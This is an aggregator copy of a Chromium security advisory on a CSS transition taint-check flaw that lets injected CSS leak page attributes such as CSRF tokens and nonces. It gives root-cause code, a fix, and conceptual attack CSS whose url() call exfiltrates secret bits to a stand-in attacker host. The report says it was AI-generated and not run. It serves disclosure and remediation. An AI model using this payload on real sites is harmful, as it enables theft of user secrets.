Skip to content
Info disclosure Advisory Advanced CVE-2026-106348

Information leak in Animation (CVE-2026-106348)

A taint-checking flaw in Chromium's CSS transition logic allows an attacker to bypass the attr()-in-url() security restriction and exfiltrate same-document DOM attributes such as nonces or CSRF tokens via CSS injection. The bug arises because the taint flag is computed from the wrong computed style object, enabling a transition start value to carry a tainted attribute while being marked untainted.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 3 months

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: CSS transitions can potentially bypass the CSS Values 5 attr()-in-url() security restriction, allowing same-document DOM attributes (such as nonces or CSRF tokens) to be exfiltrated via CSS injection. This occurs because the taint calculation logic checks the wrong computed style object, which can be manipulated via var()-indirection on an animated property.

Affected files:

  • third_party/blink/renderer/core/animation/css/css_animations.cc

Estimated timestamp from git blame: Unknown (Google3 checkout)

Core Bug Description

In Chromium's implementation of CSS Values 5 attr(), a security mitigation (attr-tainting) is applied to prevent same-origin DOM attributes from being exfiltrated via CSS injection into resource-loading sinks (like url()). However, CSSAnimations::CalculateTransitionUpdateForPropertyHandle computes the is_attr_tainted flag for custom property transitions using state.old_style, while it retrieves the actual starting value for the transition from state.before_change_style.

By animating a registered dependency custom property, an attacker can manipulate the value of a dependent property in state.old_style to be untainted while leaving its base value in state.before_change_style tainted. This divergence allows the transition start value to carry the tainted attribute value while laundering its taint flag, permitting exfiltration.

Root Cause Analysis

In third_party/blink/renderer/core/animation/css/css_animations.cc:

C++
CSSInterpolationEnvironment old_environment(map, *state.before_change_style,
                                            after_change_style);
...
start = interpolation_type->MaybeConvertUnderlyingValue(old_environment); // Sourced from before_change_style

But the taint checking for custom properties reads:

C++
bool is_attr_tainted = false;
if (property.IsCSSCustomProperty()) {
  ...
  CSSVariableData* old_data = state.old_style.GetVariableData( // Sourced from old_style
      property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());
  CSSVariableData* new_data = after_change_style.GetVariableData(...);
  is_attr_tainted = (old_data && old_data->IsAttrTainted()) ||
                    (new_data && new_data->IsAttrTainted());
}

When a registered property --src (inheriting) is animated via keyframes to 0 (untainted), a dependent property --n: var(--src) will resolve to the untainted 0 in the final computed style (state.old_style). However, the un-animated base style of the previous frame remains untouched in the snapshot used by before_change_style. When the animation is removed in Frame N, a transition starts on --n. Its start value is converted from before_change_style where --src was still the tainted attribute value, but the taint check is performed against state.old_style (which is untainted). This mismatch causes is_attr_tainted to evaluate to false and launders the starting transition value.

Potential Attack Steps (Conceptual)

Note: These are suggested/potential steps, our tooling agent does not yet have the ability to run code.

  1. Register two <number> custom properties via @property: --src and --n.

  2. In Frame N-1, the attacker applies CSS:

    CSS
    #target {
      --src: attr(data-secret type(<number>));
      --n: var(--src);
      animation: mask 1ms both;
      transition: --n 10s steps(1, end);
    }
    @keyframes mask { from, to { --src: 0; } }
    
  3. In Frame N, the attacker updates the rules:

    CSS
    #target {
      animation: none;
      --n: 5;
      background-image: if(style(--n > 4096): url(//attacker/bit12); else: none);
    }
    
  4. The starting transition keyframe on --n carries the secret value but is incorrectly marked as untainted, allowing the if(style()) query to successfully evaluate and trigger the url() network fetch.

Suggested Fix

To resolve this issue, the transition custom property taint check should evaluate is_attr_tainted using state.before_change_style (the style environment from which the starting value was actually converted) rather than state.old_style:

C++
    CSSVariableData* old_data = state.before_change_style->GetVariableData(
        property.CustomPropertyName(), custom_ref.GetProperty().IsInherited());

Evaluated with Chrome root at commit: bf775e5d75cb9e1767e2cd02cc93efa0077d14a5


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there's no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the transition taint check reads the custom property value from state.old_style while the actual transition start value is taken from state.before_change_style, so the two can disagree and the taint flag is lost.

Impact

An attacker could exfiltrate same-document DOM attributes such as nonces or CSRF tokens via CSS injection, though the report notes the steps are conceptual and the tooling agent has not run code.

What the attacker needed

Ability to inject CSS into the page; victim loads the crafted page

The fix

The transition custom property taint check should evaluate is_attr_tainted using state.before_change_style rather than state.old_style.

How it was found

  1. Register two number custom properties via @property: --src and --n.
  2. In Frame N-1, apply CSS that sets --src to an attr() value and --n to var(--src), with a short animation and a long transition on --n.
  3. In Frame N, update the rules to remove the animation, set --n to a constant, and add a background-image using if(style(--n > 4096): url(...)).
  4. The transition start value on --n carries the secret but is marked untainted, so the if(style()) query evaluates and triggers the url() fetch.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CSS can read values from HTML attributes, and Chromium added a safety check to stop those values being sent to external URLs. This report shows that check can be fooled by animating a CSS variable, so a secret value from the page could be leaked to an attacker's server. The flaw is in how the browser decides whether a value is 'tainted' during a transition.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.